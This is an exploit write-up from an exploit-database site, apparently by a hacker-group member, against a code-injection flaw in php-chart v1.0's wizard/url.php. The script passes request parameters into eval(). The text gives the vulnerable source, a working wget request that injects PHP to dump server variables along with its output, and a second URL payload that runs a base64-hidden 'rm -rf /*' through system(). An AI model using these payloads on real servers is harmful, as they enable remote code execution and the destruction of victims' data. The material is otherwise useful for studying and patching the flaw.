PHP Charts 1.0 Code Execution

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0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : 1337day.com 0  
1 [+] Support e-mail : submit[at]1337day.com 1  
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0 I'm AkaStep member from Inj3ct0r Team 1  
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===============================================================  
Vulnerable Software: php-chart_v1.0   
Official Site: http://php-charts.com/  
Vuln: PHP Code Execution.  
===============================================================  
Tested On: Debian squeeze 6.0.6  
Server version: Apache/2.2.16 (Debian)  
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)  
Copyright (c) 1997-2009 The PHP Group  
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies  
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH  
  
================================================================  
About Software:  
Php-Charts is basically a class which can be used to generate  
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)   
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,  
user defined data).   
================================================================  
  
About vuln:  
  
  
root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php  
<?php  
require("../lib/phpchart.class.php");  
$color_var=array("txt_col","line_col","bg_color");  
$cname=$_GET["type"];  
$chart=new PHPChart($cname);  
  
foreach($_GET as $key=>$value)  
{  
if($value!="")  
{  
if(in_array($key,$color_var))  
eval('$chart->'.$key.'="#'.$value.'";');  
else if($value=='yes')  
eval('$chart->'.$key.'=true;');  
else if($value=='no')  
eval('$chart->'.$key.'=false;');  
else if(is_numeric($value))  
eval('$chart->'.$key.'='.$value.';');  
else  
eval('$chart->'.$key."='".$value."';");  
}  
}  
$chart->genChart();  
  
  
  
  
Exploitation:  
  
root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt  
--2013-01-15 21:19:16-- http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY  
Resolving hacker1.own... 127.0.0.1  
Connecting to hacker1.own|127.0.0.1|:80... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: unspecified [text/html]  
Saving to: “out.txt”  
  
[ <=> ] 1,917 --.-K/s in 0s  
  
2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]  
  
  
Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4  
array(28) {  
["DOCUMENT_ROOT"]=>  
string(28) "/etc/apache2/htdocs/hacker1/"  
["GATEWAY_INTERFACE"]=>  
string(7) "CGI/1.1"  
["HTTP_ACCEPT"]=>  
string(3) "*/*"  
["HTTP_CLIENT_IP"]=>  
string(9) "127.0.0.1"  
["HTTP_HOST"]=>  
string(11) "hacker1.own"  
["HTTP_USER_AGENT"]=>  
string(21) "Wget/1.12 (linux-gnu)"  
["HTTP_VIA"]=>  
string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"  
["HTTP_X_FORWARDED_FOR"]=>  
string(9) "127.0.0.1"  
["PATH"]=>  
string(4) "/bin"  
["PHPRC"]=>  
string(14) "/etc/php5/cgi/"  
["QUERY_STRING"]=>  
string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"  
["REDIRECT_STATUS"]=>  
string(3) "200"  
["REMOTE_ADDR"]=>  
string(9) "127.0.0.1"  
["REMOTE_PORT"]=>  
string(5) "60830"  
["REQUEST_METHOD"]=>  
string(3) "GET"  
["REQUEST_URI"]=>  
string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"  
["SCRIPT_FILENAME"]=>  
string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"  
["SCRIPT_NAME"]=>  
string(30) "/wp/chart/chart/wizard/url.php"  
["SERVER_ADDR"]=>  
string(9) "127.0.0.1"  
["SERVER_ADMIN"]=>  
string(21) "[email protected]"  
["SERVER_NAME"]=>  
string(11) "hacker1.own"  
["SERVER_PORT"]=>  
string(2) "80"  
["SERVER_PROTOCOL"]=>  
string(8) "HTTP/1.1"  
["SERVER_SIGNATURE"]=>  
string(0) ""  
["SERVER_SOFTWARE"]=>  
string(6) "Apache"  
["UNIQUE_ID"]=>  
string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"  
["PHP_SELF"]=>  
string(30) "/wp/chart/chart/wizard/url.php"  
["REQUEST_TIME"]=>  
int(1358302756)  
}  
  
Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1  
  
Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1  
root@debian:/tmp#  
  
  
Example 2:  
  
http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL  
  
=====================ENDS HERE============================  
  
  
================================================  
KUDOSSSSSSS  
================================================  
packetstormsecurity.org  
packetstormsecurity.com  
packetstormsecurity.net  
securityfocus.com  
cxsecurity.com  
security.nnov.ru  
securtiyvulns.com  
securitylab.ru  
secunia.com  
securityhome.eu  
exploitsdownload.com  
osvdb.com  
websecurity.com.ua  
1337day.com  
  
to all Aa Team + to all Azerbaijan Black HatZ  
+ *Especially to my bro CAMOUFL4G3 *  
To All Turkish Hackers  
  
Also special thanks to: ottoman38 & HERO_AZE  
================================================  
  
/AkaStep  
`